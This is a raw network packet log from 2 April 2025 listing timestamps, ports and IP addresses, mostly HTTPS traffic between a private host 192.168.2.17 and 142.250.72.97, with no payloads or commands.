Apr 2, 2025 08:38:51.937118053 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.937197924 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.937203884 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.938359976 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.939172983 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.939178944 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.939811945 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.939867973 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.939876080 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.940876007 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.941353083 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.941359997 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.942085981 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.942166090 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.942173004 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.943731070 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.944459915 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.944469929 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.944631100 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.944683075 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.944689035 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.946649075 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.947391033 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.947419882 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.947467089 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.947474957 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.947547913 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.948776960 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.949711084 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.949743986 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.949795961 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.949803114 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.949815989 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.951066971 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.951160908 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.951167107 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.953804970 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.953836918 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.953861952 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.953869104 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.953875065 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.953917027 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.954790115 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.954855919 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.954862118 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.957261086 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.958319902 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.958352089 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.958398104 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.958405018 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.958451033 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.959106922 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.960288048 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.960361958 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.960367918 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.960417032 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.960757971 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.961302996 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.962096930 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.962102890 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.962634087 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.962697029 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.962702036 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.965477943 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.966110945 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.966176987 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.966183901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.966639996 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.966645002 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.967437983 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.967761993 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.967791080 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.967812061 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.967818975 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.967853069 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.968117952 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.968178988 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.968184948 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.968765974 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.968827963 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.968833923 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.969577074 CEST	49682	443	192.168.2.17	51.132.193.104
Apr 2, 2025 08:38:51.970088005 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.970148087 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.970155954 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.971075058 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.971267939 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.971273899 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.971985102 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.972047091 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.972053051 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.972939968 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.973004103 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.973010063 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.973978043 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.974035978 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.974041939 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.975224018 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.975351095 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.975358009 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.979435921 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.979610920 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.979641914 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.979685068 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.979692936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.979737043 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.980367899 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.980431080 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.980436087 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.981977940 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.982038021 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.982043028 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.982608080 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.982667923 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.982673883 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.983119965 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.983153105 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.983180046 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.983185053 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.983372927 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.983377934 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.984839916 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.984899044 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.984919071 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.985512018 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.985574961 CEST	49683	80	192.168.2.17	2.17.190.73
Apr 2, 2025 08:38:51.985625982 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.985627890 CEST	49671	443	192.168.2.17	52.109.28.46
Apr 2, 2025 08:38:51.985637903 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.986541033 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.986613035 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.986623049 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.987747908 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.987812996 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.987824917 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.988276958 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.988343000 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.988353014 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.989460945 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.989559889 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.989569902 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.990339041 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.990410089 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.990422010 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.991094112 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.991158009 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.991164923 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.992250919 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.992326021 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.992331982 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.993453026 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.993549109 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.993555069 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.993988037 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.994421005 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.994426966 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.995094061 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.995150089 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.995156050 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.995820045 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.996351957 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.996356964 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.997078896 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.997906923 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.997934103 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.997961998 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.997968912 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.998003006 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.998032093 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.998085976 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.998091936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.998950958 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.000369072 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.000375032 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.002065897 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.002440929 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.002445936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.002981901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.003065109 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.003072977 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.003186941 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.003259897 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.003264904 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.003685951 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.004364014 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.004393101 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.004416943 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.004420996 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.004431963 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.004451990 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.004477024 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.004575014 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.005403996 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.005429029 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.005467892 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.005476952 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.005525112 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.006038904 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.006918907 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.006949902 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.007028103 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.007034063 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.007797003 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.007873058 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.007884026 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.007949114 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.008455992 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.009465933 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.009491920 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.009537935 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.009552002 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.010531902 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.010581970 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.010595083 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.010651112 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.010879040 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.011637926 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.011702061 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.011714935 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.012552023 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.012578011 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.012612104 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.012624979 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.012681961 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.013369083 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.014044046 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.014070034 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.014111042 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.014123917 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.014415979 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.014879942 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.015866041 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.015892982 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.015928984 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.015943050 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.016619921 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.016679049 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.016691923 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.016820908 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.017412901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.018248081 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.018280029 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.018310070 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.018323898 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.018676043 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.018985987 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.019589901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.019613981 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.019649982 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.019663095 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.020528078 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.020589113 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.020601988 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.020658016 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.021183968 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.021871090 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.021893978 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.021929026 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.021941900 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.022416115 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.022748947 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.026884079 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.026911974 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.026946068 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.026973009 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.026978016 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.026992083 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.027023077 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.027034998 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.027064085 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.027065992 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.027076006 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.027124882 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.027137041 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.027168036 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.027199984 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.028659105 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.028686047 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.028719902 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.028753042 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.028769016 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.028798103 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.029800892 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.029824972 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.029886007 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.029898882 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.030399084 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.030462027 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.030474901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.030615091 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.030904055 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.031572104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.031595945 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.031637907 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.031651020 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.032620907 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.032676935 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.032690048 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.032759905 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.033344984 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.033884048 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.033909082 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.033941984 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.033956051 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.034415960 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.034454107 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.034991980 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.035015106 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.035046101 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.035058975 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.035517931 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.035573006 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.035586119 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.036714077 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.036783934 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.036796093 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.037316084 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.037380934 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.037393093 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.037473917 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.037805080 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.038507938 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.038539886 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.038602114 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.038615942 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.039088964 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.039120913 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.039149046 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.039166927 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.039190054 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.040714025 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.040743113 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.040805101 CEST	49714	443	192.168.2.17	142.250.72.97
